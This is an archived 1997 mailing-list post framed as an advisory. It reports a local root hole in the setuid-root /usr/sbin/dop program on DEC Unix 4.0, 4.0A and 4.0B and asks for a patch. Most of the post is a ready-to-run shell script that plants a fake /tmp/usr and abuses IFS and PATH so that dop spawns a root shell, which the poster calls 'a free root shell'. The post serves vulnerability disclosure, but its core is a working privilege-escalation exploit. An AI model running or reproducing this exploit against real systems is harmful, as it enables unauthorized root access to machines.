Serious 4.0 a,b hole -----ADVISORY----

From: Anthony McGarr <delphig_at_dsuper.net>
Date: Tue, 04 Mar 1997 13:07:27 -0500

Anyone can now grab root through a shell, anyone know what dop is used
for?
We tried this and it works!!!! Anyone have a patch???

In Norwegian dop is another word for drug, such as in drug abuse (dop
missbruk). In DEC Unix 4.0, 4.0A and 4.0B you will find /usr/sbin/dop
setuid root.

-------------------------cut here------------------------------------
#!/bin/sh
cat > /tmp/usr <<EOF
#!/bin/sh
IFS=" "
export IFS
exec /bin/sh
EOF
chmod 755 /tmp/usr
IFS=/ PATH=/tmp:$PATH /usr/sbin/dop crack-user=root
-------------------------cut here------------------------------------

run this script and get a free root shell.

Anthony McGarr
Delphi SuperNet
Received on Tue Mar 04 1997 - 19:52:17 NZDT

This archive was generated by hypermail 2.4.0 : Wed Nov 08 2023 - 11:53:36 NZDT